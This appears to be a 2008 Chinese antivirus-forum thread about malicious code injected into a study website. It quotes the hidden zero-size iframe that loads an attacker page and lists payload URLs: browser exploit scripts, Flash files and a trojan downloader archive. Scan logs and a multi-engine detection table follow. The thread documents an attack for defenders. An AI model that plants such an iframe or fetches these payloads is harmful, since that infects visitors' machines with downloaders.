【CN学习网被插入恶意代码】

ranguangning

CN学习网(hXXp://www.szejux.cn)被插入恶意代码:

/*信息来源：知道安全*/

<iframe src=hXXp://www.nwerk.cn/115.htm?z1 width=0 height=0></iframe>

IllusionWing

http://user1.date-13.net/versionie.swf
http://user1.date-13.net/versionff.swf
http://user1.date-13.net/ms06014.js
http://user1.date-13.net/GLWORLD.html
http://user1.date-13.net/real.js
http://user1.date-13.net/Baidu.cab
http://user1.date-13.net/Thunder.html

只解了一个

挪威的冬天

信息        2008-07-16  16:20:30        您此次查毒隔离了1个文件                       
信息        2008-07-16  16:20:30        您此次查毒共查出1个病毒以及危险代码                       
信息        2008-07-16  16:20:30        您此次查毒共查了内存模块0个，磁盘引导扇区0个，文件3个                       
信息        2008-07-16  16:20:30        金山毒霸主程序查毒过程结束，查毒方式：命令行查毒                       
病毒        2008-07-16  16:20:30        D:\Desktop\Baidu.rar\Baidu.exe        Win32.TrojDownloader.rk.184320        隔离成功

taihuxian

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:         http://bbs.kafan.cn/attachment.p ... d0&t=1216196748
Information:         Is the Trojan horse TR/Dldr.Agent.vgu.1


Generated by AntiVir WebGuard 8.0.13.0, AVE 8.1.0.68, VDF 7.0.5.122

sifang

卡巴web反病毒：感染的:木马程序 Exploit.JS.RealPlr.ls        D:\temp\Internet 临时文件\Content.IE5\5PEVWP6K\real[1].js        3.3 KB

傻猪猪米走鸡

C:\Documents and Settings\Administrator\My Documents\Baidu.rar > RAR > Baidu.exe - Win32/TrojanDownloader.Agent.OAD 特洛伊木马 - 是已删除对象的一部分

醉一生爱妍

已删除：木马程序 Trojan-Downloader.Win32.Agent.vgu        文件: C:\Documents and Settings\Administrator\桌面\Baidu.rar/Baidu.exe//PE_Patch//UPack

wsmj888

进入CPU较高！汗！

snoopy2004

AhnLab-V3	2008.7.16.0	2008.07.16	-
AntiVir	7.8.0.68	2008.07.16	TR/Dldr.Agent.vgu.1
Authentium	5.1.0.4	2008.07.15	W32/Downloader.J.gen!Eldorado
Avast	4.8.1195.0	2008.07.15	Win32:Trojan-gen {Other}
AVG	7.5.0.516	2008.07.16	Downloader.Agent.AIAU
BitDefender	7.2	2008.07.16	Backdoor.Bot.19268
CAT-QuickHeal	9.50	2008.07.15	TrojanDownloader.Agent.vgu
ClamAV	0.93.1	2008.07.16	PUA.Packed.UPack-2
DrWeb	4.44.0.09170	2008.07.16	Trojan.DownLoad.1124
eSafe	7.0.17.0	2008.07.15	Suspicious File
eTrust-Vet	31.6.5959	2008.07.16	-
Ewido	4.0	2008.07.16	Downloader.Agent.vgu
F-Prot	4.4.4.56	2008.07.15	W32/Downloader.J.gen!Eldorado
F-Secure	7.60.13501.0	2008.07.16	Trojan-Downloader.Win32.Agent.vgu
Fortinet	3.14.0.0	2008.07.16	PossibleThreat
GData	2.0.7306.1023	2008.07.16	Trojan-Downloader.Win32.Agent.vgu
Ikarus	T3.1.1.26.0	2008.07.16	Backdoor.Win32.Rbot.aeu
Kaspersky	7.0.0.125	2008.07.16	Trojan-Downloader.Win32.Agent.vgu
McAfee	5339	2008.07.15	Downloader.gen.a
Microsoft	1.3704	2008.07.16	TrojanDownloader:Win32/Jubxi.B
NOD32v2	3271	2008.07.16	Win32/TrojanDownloader.Agent.OAD
Norman	5.80.02	2008.07.15	W32/Suspicious_U.gen
Panda	9.0.0.4	2008.07.15	Suspicious file
Prevx1	V2	2008.07.16	Cloaked Malware
Rising	20.53.22.00	2008.07.16	Trojan.Win32.KillAV.abc
Sophos	4.31.0	2008.07.16	Mal/Packer
Sunbelt	3.1.1536.1	2008.07.15	Trojan-Downloader.Win32.Agent.vgu
Symantec	10	2008.07.16	-
TheHacker	6.2.96.381	2008.07.16	Trojan/Downloader.Agent.vgu
TrendMicro	8.700.0.1004	2008.07.16	TROJ_SMALL.EJR
VBA32	3.12.8.0	2008.07.15	Trojan-Downloader.Win32.Agent.vgu
VirusBuster	4.5.11.0	2008.07.15	Packed/Upack
Webwasher-Gateway	6.6.2	2008.07.16	Trojan.Dldr.Agent.vgu.1

[ 本帖最后由 snoopy2004 于 2008-7-16 19:18 编辑 ]

冷冷

http://user1.12-56.net/bak.css